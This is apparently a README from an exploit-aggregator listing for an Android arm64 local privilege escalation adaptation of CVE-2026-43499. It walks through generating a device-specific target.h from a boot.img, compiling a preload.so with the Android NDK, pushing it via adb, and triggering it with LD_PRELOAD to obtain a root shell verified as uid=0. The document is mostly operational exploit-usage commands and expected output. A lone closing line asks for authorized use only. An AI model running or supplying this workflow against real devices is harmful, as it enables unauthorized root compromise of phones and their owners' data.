## https://sploitus.com/exploit?id=9BE27B8A-EDCC-5119-9472-C00BB74D56FE
# CVE-2026-43499 Android arm64 Local Privilege Escalation Adaptation
[English](README_EN.md) | Chinese
---
This is a project for **CVE-2026-43499**’s Android arm64 local privilege escalation adaptation. The project generates `target.h` based on the target device’s `boot.img` and profile information, and then compiles the corresponding `preload.so`. > Note: This project is a general adaptation framework and does not bind to a specific model. Whether it is actually usable depends on whether `generate_target.py` can successfully generate `target.h` and the results of testing on actual devices. ---
## Directory Structure
```text
Project directory/
├── boot.img # Boot image for the target device
├── profile.json # Profile of the target device
├── detect_offset.py # Script for detecting profiles
├── generate_target.py # Generates target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # Generated automatically
└── source/build/bin/
└── preload.so # Compiled output
```
---
## Required Dependencies
### Basic Dependencies
```text
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
```
### Recommended Environment for Windows
For Windows, it is recommended to use:
```text
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
```
Install make in MSYS2:
```sh
pacman -S make coreutils
```
---
## Preparation Files
You need to prepare:
```text
boot.img
profile.json
```
Example of profile:
```json
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
```
These two addresses in the profile:
```text
p0_phys_offset
p0_kernel_phys_load
```
Can be obtained by running the script on a rooted device with the same firmware as the target boot.img:
```sh
python3 detect_offset.py
```
On Windows, you can also do this:
```sh
python detect_offset.py
```
---
## Usage Steps
### 1. Enter the Project Directory
On Linux / macOS:
```sh
cd PATH/project
```
On Windows MSYS2, example:
```sh
cd PATH/CVE-2026-43499-Poc-Analysis-main
```
---
### 2. Set the NDK Path
On Linux / macOS, example:
```sh
export ANDROID_NDK_HOME=PATH/android-ndk
```
On Windows MSYS2, example:
```sh
export ANDROID_NDK_HOME=PATH/android-ndk-r29
```
---
### 3. Generate target.h
```sh
python generate_target.py \
--boot boot.img \
--profile profile.json \
-o source/src/target.h
```
Or use CMD:
```sh
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
```
If the message “llvm-objdump not found” appears, specify the path manually:
```sh
python generate_target.py \
--boot boot.img \
--profile profile.json
```
-or source/src/target.h \
--llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
Or use the CMD command as follows:
```sh
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
```
After successful execution, you will see something like this:
```text
Generation succeeded: .../source/src/target.h
Kernel SHA-256: ... target macros: ...
```
---
### 4. Compiling preload.so
**Linux / macOS:**
```sh
make -C source clean preload
```
**Windows MSYS2:**
```sh
make -C source clean preload NDK_PREBUILT=windows-x86_64
```
After successful compilation, the following file will be generated:
```text
source/build/bin/preload.so
```
---
### 5. Push the file to the device and run it
```sh
adb push source/build/bin/preload.so /data/local/tmp/preload.so
```
```sh
adb shell "chmod 0644 /data/local/tmp/preload.so"
```
```sh
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
```
**Verification:**
```sh
adb shell "/data/local/tmp/su -c 'id'"
```
If everything is successful, you will see the following output:
```text
uid=0(root) gid=0(root)
```
---
## **Windows MSYS2 One-Click Procedure**
Follow the steps according to your path example:
```sh
cd PATH/CVE-2026-43499-annibale-main
```
```sh
export ANDROID_NDK_HOME=PATH/android-ndk-r29
```
```sh
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
```
```sh
make -C source clean preload NDK_PREBUILT=windows-x86_64
```
The final output file will be:
```text
source/build/bin/preload.so
```
---
## **Common Issues**
### **LLVM-Objdump Not Found**
Install LLVM, or use the following command:
```sh
--llvm-objdump "PATH/llvm-objdump"
```
### **Make Not Found**
For Windows using MSYS2, install the following packages:
```sh
pacman -S make coreutils
```
### **Clang Not Found**
This usually occurs when the NDK path is not set correctly. For Windows MSYS2, use the following command:
```sh
export ANDROID_NDK_HOME=PATH/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
```
### **Target.h Generation Failed**
This usually indicates that the `boot.img` or kernel layout has not been properly configured. Check the following aspects:
```text
Is `boot.img` complete?
Is the profile correct?
Is `llvm-objdump` available?
Does the kernel have IKCONFIG, kallsyms, or BTFs?
```
---
## **Notes**
- After changing devices, systems, or kernels, you need to regenerate `target.h`. It’s not recommended to modify `target.h` manually; it should be generated automatically by `generate_target.py`. Please use this tool only in authorized devices and environments.